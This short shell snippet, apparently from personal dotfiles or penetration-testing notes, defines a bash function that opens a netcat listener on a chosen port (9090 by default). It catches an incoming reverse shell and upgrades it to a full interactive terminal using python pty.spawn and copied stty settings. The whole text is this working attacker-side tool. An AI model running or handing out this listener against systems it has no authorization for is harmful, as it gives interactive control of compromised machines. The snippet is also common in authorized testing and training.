- By default, it will start the litener on port 9090. You can specify the port you want it to start with
shell 9001
shell() {
if [[ $1 ]]; then
port=$1
else
port=9090
fi
stty raw -echo; (echo 'python3 -c "import pty;pty.spawn(\"/bin/bash\")" || python -c "import pty;pty.spawn(\"/bin/bash\")"' ;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)"; echo reset;cat) | nc -lvnp $port && reset
}